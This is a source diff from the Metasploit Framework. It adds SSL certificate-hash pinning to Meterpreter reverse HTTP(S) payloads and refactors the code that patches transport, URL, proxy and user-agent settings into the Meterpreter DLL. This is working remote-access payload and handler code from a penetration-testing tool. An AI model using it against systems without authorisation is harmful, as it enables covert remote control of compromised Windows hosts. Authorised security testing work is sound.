diff --git a/.gitignore b/.gitignore index 015a4fd9f7..1619d775e4 100644 --- a/.gitignore +++ b/.gitignore @@ -67,17 +67,7 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the meterpreter_bins gem. -data/meterpreter/elevator.*.dll -data/meterpreter/ext_server_espia.*.dll -data/meterpreter/ext_server_extapi.*.dll -data/meterpreter/ext_server_incognito.*.dll -data/meterpreter/ext_server_kiwi.*.dll -data/meterpreter/ext_server_lanattacks.*.dll -data/meterpreter/ext_server_mimikatz.*.dll -data/meterpreter/ext_server_priv.*.dll -data/meterpreter/ext_server_stdapi.*.dll -data/meterpreter/metsrv.*.dll -data/meterpreter/screenshot.*.dll +data/meterpreter/*.dll # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/Gemfile.lock b/Gemfile.lock index aa5e42f9b6..a1d14ffc1e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 0.3.0) metasploit-model (~> 0.29.0) - meterpreter_bins (= 0.0.16) + meterpreter_bins (= 0.0.17) msgpack nokogiri packetfu (= 1.1.9) @@ -132,7 +132,7 @@ GEM pg railties (< 4.0.0) recog (~> 1.0) - meterpreter_bins (0.0.16) + meterpreter_bins (0.0.17) method_source (0.8.2) mime-types (1.25.1) mini_portile (0.6.1) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f3f81594de..1a0707e3a8 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'msf/core/handler/reverse_http/uri_checksum' require 'rex/payloads/meterpreter/patch' +require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf module Handler @@ -16,6 +18,7 @@ module ReverseHttp include Msf::Handler include Msf::Handler::ReverseHttp::UriChecksum + include Msf::Payload::Windows::VerifySsl # # Returns the string representation of the handler type @@ -291,12 +294,15 @@ protected blob = obj.stage_payload + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # # Patch options into the payload # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, :ssl => ssl?, :url => url, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], @@ -304,7 +310,7 @@ protected :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + :proxy_pass => datastore['PayloadProxyPass']) resp.body = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index e2cbc8b22a..6d0c54b0fb 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -43,7 +43,8 @@ module ReverseHttps register_advanced_options( [ - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]), + OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"]) ], Msf::Handler::ReverseHttps) end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 8a5be39790..2745ece351 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp # @option opts [String] :url The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to - # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation - # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # @@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp encoded_url = asm_generate_wchar_array(opts[:url]) encoded_host = asm_generate_wchar_array(opts[:host]) - if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 993347db35..4fe531ccff 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' -require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf @@ -17,6 +17,7 @@ module Msf module Payload::Windows::ReverseWinHttps include Msf::Payload::Windows::ReverseWinHttp + include Msf::Payload::Windows::VerifySsl # # Register reverse_winhttps specific options @@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps # def generate - verify_cert = false - verify_cert_hash = nil - - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - else - verify_cert = true - hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der) - print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}") - end - end + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + if verify_cert_hash raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" end @@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_small_uri, - verify_cert: verify_cert, verify_cert_hash: verify_cert_hash, retry_count: datastore['StagerRetryCount']) end @@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps port: datastore['LPORT'], url: generate_uri, exitfunk: datastore['EXITFUNC'], - verify_cert: verify_cert, verify_cert_hash: verify_cert_hash, retry_count: datastore['StagerRetryCount'] } diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index b9ddaf0dfd..1c79d9ecd1 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -1,6 +1,7 @@ #-*- coding: binary -*- require 'msf/core' +require 'rex/payloads/meterpreter/patch' module Msf @@ -75,11 +76,8 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url - url = "s#{url}\x00" - location = dll.index("https://#{'X' * 256}") - if location - dll[location, url.length] = url - end + # Patch the URL using the patcher as this upports both ASCII and WCHAR. + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") end # if a block is given then call that with the meterpreter dll diff --git a/lib/msf/core/payload/windows/verify_ssl.rb b/lib/msf/core/payload/windows/verify_ssl.rb new file mode 100644 index 0000000000..3c038d488f --- /dev/null +++ b/lib/msf/core/payload/windows/verify_ssl.rb @@ -0,0 +1,36 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/parser/x509_certificate' + +module Msf + +### +# +# Implements SSL validation check options +# +### + +module Payload::Windows::VerifySsl + + # + # Get the SSL hash from the certificate, if required. + # + def get_ssl_cert_hash(verify_cert, handler_cert) + unless verify_cert.to_s =~ /^(t|y|1)/i + return nil + end + + unless handler_cert + raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured" + end + + hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + +end + +end + diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb index f46500bf5c..61a0a4b179 100644 --- a/lib/rex/parser/x509_certificate.rb +++ b/lib/rex/parser/x509_certificate.rb @@ -56,6 +56,36 @@ class X509Certificate parse_pem(data) end + # + # Parse a certificate in unified PEM format and retrieve + # the SHA1 hash. + # + # @param [String] ssl_cert + # @return [String] + def self.get_cert_hash(ssl_cert) + hcert = parse_pem(ssl_cert) + + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate" + end + + Rex::Text.sha1_raw(hcert[1].to_der) + end + + # + # Parse a file that contains a certificate in unified PEM + # format and retrieve the SHA1 hash. + # + # @param [String] ssl_cert_file + # @return [String] + def self.get_cert_file_hash(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + get_cert_hash(data) + end + end end diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 93c54873bf..166eb7f7cf 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -11,29 +11,18 @@ module Rex module Patch # Replace the transport string - def self.patch_transport! blob, ssl - - i = blob.index("METERPRETER_TRANSPORT_SSL") - if i - str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" - blob[i, str.length] = str - end - + def self.patch_transport!(blob, ssl) + str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str) end # Replace the URL - def self.patch_url! blob, url - - i = blob.index("https://" + ("X" * 256)) - if i - str = url - blob[i, str.length] = str - end - + def self.patch_url!(blob, url) + patch_string!(blob, "https://#{'X' * 512}", url) end # Replace the session expiration timeout - def self.patch_expiration! blob, expiration + def self.patch_expiration!(blob, expiration) i = blob.index([0xb64be661].pack("V")) if i @@ -44,7 +33,7 @@ module Rex end # Replace the session communication timeout - def self.patch_comm_timeout! blob, comm_timeout + def self.patch_comm_timeout!(blob, comm_timeout) i = blob.index([0xaf79257f].pack("V")) if i @@ -55,68 +44,67 @@ module Rex end # Replace the user agent string with our option - def self.patch_ua! blob, ua - - ua = ua[0,255] + "\x00" - i = blob.index("METERPRETER_UA\x00") - if i - blob[i, ua.length] = ua - end - + def self.patch_ua!(blob, ua) + patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00") end # Activate a custom proxy - def self.patch_proxy! blob, proxyhost, proxyport, proxy_type + def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type) - i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - if i - if proxyhost - if proxyhost.to_s != "" - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - blob[i, proxyinfo.length] = proxyinfo - end + if proxyhost && proxyhost.to_s != "" + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost end + if proxy_type.to_s == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo) end - end # Proxy authentification - def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type + def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type) unless (proxy_username.nil? or proxy_username.empty?) or (proxy_password.nil? or proxy_password.empty?) or proxy_type == 'SOCKS' - proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - proxy_username = proxy_username << "\x00" - blob[proxy_username_loc, proxy_username.length] = proxy_username + patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}", + proxy_username + "\x00") - proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - proxy_password = proxy_password << "\x00" - blob[proxy_password_loc, proxy_password.length] = proxy_password + patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}", + proxy_password + "\x00") end end - # Patch options into metsrv for reverse HTTP payloads - def self.patch_passive_service! blob, options + # Patch the ssl cert hash + def self.patch_ssl_check!(blob, ssl_cert_hash) + # SSL cert location is an ASCII string, so no need for + # WCHAR support + if ssl_cert_hash + i = blob.index("METERPRETER_SSL_CERT_HASH\x00") + if i + blob[i, ssl_cert_hash.length] = ssl_cert_hash + end + end + end - patch_transport! blob, options[:ssl] - patch_url! blob, options[:url] - patch_expiration! blob, options[:expiration] - patch_comm_timeout! blob, options[:comm_timeout] - patch_ua! blob, options[:ua] + # Patch options into metsrv for reverse HTTP payloads + def self.patch_passive_service!(blob, options) + + patch_transport!(blob, options[:ssl]) + patch_url!(blob, options[:url]) + patch_expiration!(blob, options[:expiration]) + patch_comm_timeout!(blob, options[:comm_timeout]) + patch_ua!(blob, options[:ua]) + patch_ssl_check!(blob, options[:ssl_cert_hash]) patch_proxy!(blob, options[:proxy_host], options[:proxy_port], @@ -130,6 +118,30 @@ module Rex end + # + # Patch an ASCII value in the given payload. If not found, try WCHAR instead. + # + def self.patch_string!(blob, search, replacement) + i = blob.index(search) + if i + blob[i, replacement.length] = replacement + else + i = blob.index(wchar(search)) + if i + r = wchar(replacement) + blob[i, r.length] = r + end + end + end + + private + + # + # Convert the given ASCII string into a WCHAR string (dumb, but works) + # + def self.wchar(str) + str.to_s.unpack("C*").pack("v*") + end end end end diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 965e7af2e4..d78830c43d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -178,7 +178,6 @@ module PacketDispatcher # Sends a packet and waits for a timeout for the given time interval. # def send_request(packet, t = self.response_timeout) - if not t send_packet(packet) return nil diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 09b425b894..c60c169c14 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'meterpreter_bins', '0.0.16' + spec.add_runtime_dependency 'meterpreter_bins', '0.0.17' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 827dc0a0ab..db2dcb9d77 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -8,6 +8,7 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/stageless_meterpreter' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/parser/x509_certificate' module Metasploit3 @@ -15,6 +16,7 @@ module Metasploit3 include Msf::Payload::Windows::StagelessMeterpreter include Msf::Sessions::MeterpreterOptions + include Msf::Payload::Windows::VerifySsl def initialize(info = {}) @@ -30,7 +32,7 @@ module Metasploit3 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]), ], self.class) end @@ -54,9 +56,13 @@ module Metasploit3 # end #end - Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll, + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll, :url => url, :ssl => true, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ua => datastore['MeterpreterUserAgent'], @@ -64,8 +70,9 @@ module Metasploit3 :proxyport => datastore['PROXYPORT'], :proxy_type => datastore['PROXY_TYPE'], :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_password => datastore['PROXY_PASSWORD']) end + end end